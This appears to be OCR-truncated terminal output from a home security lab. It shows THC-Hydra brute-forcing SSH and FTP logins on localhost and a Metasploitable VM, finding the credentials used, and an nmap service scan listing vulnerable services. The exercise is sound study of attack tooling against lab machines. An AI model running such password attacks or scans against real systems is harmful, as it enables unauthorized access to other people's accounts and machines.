```
.0.0.1 -t 4 ssh
ejak - Please do not use in military or secret
is is non-binding, these *** ignore laws and et
starting at 2024-08-23 13:37:57
12 login tries (l:3/p:4), ~3 tries per task
kali" - 1 of 12 [child 0] (0/0)
password" - 2 of 12 [child 1] (0/0)
god" - 3 of 12 [child 2] (0/0)
testpass" - 4 of 12 [child 3] (0/0)
: kali
"kali" - 5 of 12 [child 0] (0/0)
"password" - 6 of 12 [child 2] (0/0)
"god" - 7 of 12 [child 1] (0/0)
"testpass" - 8 of 12 [child 3] (0/0)
ass "kali" - 9 of 12 [child 0] (0/0)
ass "password" - 10 of 12 [child 2] (0/0)
ass "god" - 11 of 12 [child 1] (0/0)
ass "testpass" - 12 of 12 [child 3] (0/0)
sword: testpass
words found
finished at 2024-08-23 13:38:07
```

```
TheWatchMakerXI - [~]

→ ssh test_user@127.0.0.1

test_user@127.0.0.1's password:
Linux kali 6.8.11-amd64 #1 SMP PREEMPT DYNA
4-05-30) x86_64
The programs included with the Kali GNU/Lin
the exact distribution terms for each progr
individual files in /usr/share/doc/*/copyr:
Kali GNU/Linux comes with ABSOLUTELY NO WAR
permitted by applicable law.
Last login: Fri Aug 23 13:25:14 2024 from 1
--(test_user®kali)-[~]
                               ip6-allrout
               ff02::2
:: 1
ff02::1
               ip6-allnodes
                               ip6-localho
__(test_user⊕ kali)-[~]
└$ sS
```

```
ss.txt 192.168.50.101 -t 4 ftp
David Maciejak – Please do not use in military or secret service organ
is non-binding, these *** ignore laws and ethics anyway).
thc-hydra) starting at 2024-08-23 14:27:24
ds to abort... (use option -I to skip waiting)) from a previous sessio
.restore
4 tasks, 12 login tries (l:3/p:4), ~3 tries per task
"msfadmin" - pass "msfadmin" - 1 of 12 [child 0] (0/0)
'msfadmin" - pass "password" - 2 of 12 [child 1] (0/0)
'msfadmin" - pass "god" - 3 of 12 [child 2] (0/0)
"msfadmin" - pass "kali" - 4 of 12 [child 3] (0/0)
nsfadmin
          password: msfadmin
'admin" - pass "msfadmin" - 5 of 12 [child 0] (0/0)
"admin" - pass "password" - 6 of 12 [child 1] (0/0)
'admin" - pass "god" - 7 of 12 [child 2] (0/0)
'admin" - pass "kali" - 8 of 12 [child 3] (0/0)
"kali" - pass "msfadmin" - 9 of 12 [child 0] (0/0)
"kali" - pass "password" - 10 of 12 [child 1] (0/0)
"kali" - pass "god" - 11 of 12 [child 2] (0/0)
"kali" - pass "kali" - 12 of 12 [child 3] (0/0)
valid password found
thc-hydra) finished at 2024-08-23 14:27:44
```

```
—TheWatchMakerXI - [~/.ssh]

→ sudo nmap -sV 192.168.50.101

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-23 14:27
Nmap scan report for 192.168.50.101
Host is up (0.0022s latency).
Not shown: 978 closed tcp ports (reset)
PORT
         STATE SERVICE
                          VERSION
21/tcp
         open ftp
                          vsftpd 2.3.4
22/tcp
         open ssh
                          OpenSSH 4.7p1 Debian 8ubuntu1 (prot
23/tcp
         open telnet
                          Linux telnetd
25/tcp
         open smtp
                          Postfix smtpd
53/tcp
         open domain
                          ISC BIND 9.4.2
80/tcp
         open http
                          Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind
                          2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WO
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WO
512/tcp open exec
                          netkit-rsh rexecd
513/tcp open login?
514/tcp open shell
                          Netkit rshd
1099/tcp open java-rmi
                          GNU Classpath grmiregistry
                          Metasploitable root shell
1524/tcp open bindshell
2049/tcp open nfs
                          2-4 (RPC #100003)
                          ProFTPD 1.3.1
2121/tcp open ftp
                          MySQL 5.0.51a-3ubuntu5
3306/tcp open mysql
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc
                          VNC (protocol 3.3)
6000/tcp open X11
                          (access denied)
6667/tcp open irc
                          UnrealIRCd
8180/tcp open http
                          Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasplo
:linux:linux_kernel
Service detection performed. Please report any incorrect resul
Nmap done: 1 IP address (1 host up) scanned in 66.48 seconds
 —TheWatchMakerXI - [~/.ssh]
_ →
```

```
ıto
```

```
nit vsftdp.service not found.
rackpass.txt 127.0.0.1 -t 4 tpd
THC & David Maciejak - Please do not use in military or secr
illegal purposes (this is non-binding, these *** ignore laws
er-thc/thc-hydra) starting at 2024-08-23 13:42:26
rackpass.txt 127.0.0.1 -t 4 ftp
THC & David Maciejak - Please do not use in military or secr
illegal purposes (this is non-binding, these *** ignore laws
er-thc/thc-hydra) starting at 2024-08-23 13:42:36
overall 4 tasks, 12 login tries (l:3/p:4), ~3 tries per task
21/
"kali" - pass "kali" - 1 of 12 [child 0] (0/0)
"kali" - pass "password" - 2 of 12 [child 1] (0/0)
"kali" - pass "god" - 3 of 12 [child 2] (0/0)
"kali" - pass "testpass" - 4 of 12 [child 3] (0/0)
       password: kali
 kali
"admin" - pass "kali" - 5 of 12 [child 0] (0/0)
"admin" - pass "password" - 6 of 12 [child 3] (0/0)
"admin" - pass "god" - 7 of 12 [child 2] (0/0)
"admin" - pass "testpass" - 8 of 12 [child 1] (0/0)
"test_user" - pass "kali" - 9 of 12 [child 0] (0/0)
"test_user" - pass "password" - 10 of 12 [child 3] (0/0)
"test_user" - pass "god" - 11 of 12 [child 2] (0/0)
"test_user" - pass "testpass" - 12 of 12 [child 1] (0/0)
test_user password: testpass
ed, 2 valid passwords found
er-thc/thc-hydra) finished at 2024-08-23 13:42:45
```

-TheWatchMakerXI - [~/Desktop] → sudo nano /etc/ssh/sshd\_config